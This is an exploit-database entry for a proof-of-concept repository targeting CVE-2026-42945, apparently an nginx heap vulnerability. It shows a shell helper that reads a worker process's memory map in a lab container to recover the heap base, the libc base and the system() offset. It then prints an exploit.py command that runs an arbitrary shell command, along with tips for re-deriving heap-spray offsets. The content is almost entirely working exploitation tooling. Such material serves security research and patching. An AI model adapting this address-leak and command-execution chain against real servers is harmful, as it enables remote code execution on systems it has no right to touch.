Exploit database

GH-98eebeae074b77aa10b2f194ffa9b63c

f2u0a0d3/cve-2026-42945-nginx-rift-poc

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-42945

32 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files14
f2u0a0d3/cve-2026-42945-nginx-rift-pocRevision 6021b37fcea5

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

discover-addresses.sh

Shell · 2,741 bytes
#!/usr/bin/env bash
# Helper to discover HEAP_BASE / LIBC_BASE / system() offset INSIDE the
# bundled lab container. Hardcoded offsets in exploit.py only apply to the
# specific commit + Ubuntu 22.04 + ASLR-off build in env/. If you tweak the
# Dockerfile (e.g. different commit, different libc), re-run this to refresh.
#
# Usage:
#   docker compose -f env/docker-compose.yml up -d nginx-vuln
#   ./discover-addresses.sh
#
# Requires gdb installed in container — extend Dockerfile with:
#   RUN apt-get install -y gdb procps

set -euo pipefail

CONTAINER="${CONTAINER:-nginx-rift-vuln}"

if ! docker ps --format '{{.Names}}' | grep -q "^${CONTAINER}$"; then
    echo "[!] Container '${CONTAINER}' not running. Start with:"
    echo "    docker compose -f env/docker-compose.yml up -d nginx-vuln"
    exit 1
fi

echo "[*] Locating nginx worker PID..."
WORKER_PID=$(docker exec "$CONTAINER" sh -c "pgrep -f 'nginx: worker' | head -1")
if [ -z "$WORKER_PID" ]; then
    echo "[!] No nginx worker found"
    exit 1
fi
echo "[+] Worker PID: $WORKER_PID"

echo "[*] Reading /proc/$WORKER_PID/maps..."
docker exec "$CONTAINER" cat "/proc/$WORKER_PID/maps" > /tmp/nginx-maps.txt
echo "[+] Map saved to /tmp/nginx-maps.txt"

HEAP_BASE=$(grep '\[heap\]' /tmp/nginx-maps.txt | head -1 | awk -F'-' '{print "0x"$1}')
LIBC_BASE=$(grep -E 'libc\.so\.6.*r-xp|libc-.*\.so.*r-xp' /tmp/nginx-maps.txt \
    | head -1 | awk -F'-' '{print "0x"$1}')

echo
echo "=== Address Discovery Results ==="
echo "  HEAP_BASE=$HEAP_BASE"
echo "  LIBC_BASE=$LIBC_BASE"

if [ -n "$LIBC_BASE" ]; then
    LIBC_PATH=$(grep -E 'libc\.so\.6|libc-.*\.so' /tmp/nginx-maps.txt | head -1 \
        | awk '{print $NF}')
    echo "  LIBC_PATH=$LIBC_PATH"
    SYSTEM_OFF=$(docker exec "$CONTAINER" sh -c \
        "readelf -s $LIBC_PATH 2>/dev/null | grep ' system@@' | head -1 | awk '{print \$2}'" \
        || true)
    if [ -n "$SYSTEM_OFF" ]; then
        echo "  SYSTEM_OFFSET=0x$SYSTEM_OFF"
    else
        SYSTEM_OFF=$(docker exec "$CONTAINER" sh -c \
            "objdump -T $LIBC_PATH 2>/dev/null | grep ' system$' | head -1 | awk '{print \$1}'")
        echo "  SYSTEM_OFFSET=0x$SYSTEM_OFF (via objdump)"
    fi
fi

echo
echo "=== Suggested exploit.py invocation ==="
cat <<EOF
python3 exploit.py --exploit \\
    --host 127.0.0.1 --port 19321 \\
    --heap-base $HEAP_BASE \\
    --libc-base $LIBC_BASE \\
    --system-offset 0x$SYSTEM_OFF \\
    --cmd 'echo pwned > /tmp/rift'
EOF
echo
echo "(Spray-landing offsets in --offsets default to LAB_HEAP_OFFSETS — those"
echo " also depend on build. If exploit doesn't land, instrument server with"
echo " gdb breakpoint at ngx_palloc_block and dump 'this->d.last' values"
echo " across N requests to derive fresh offsets.)"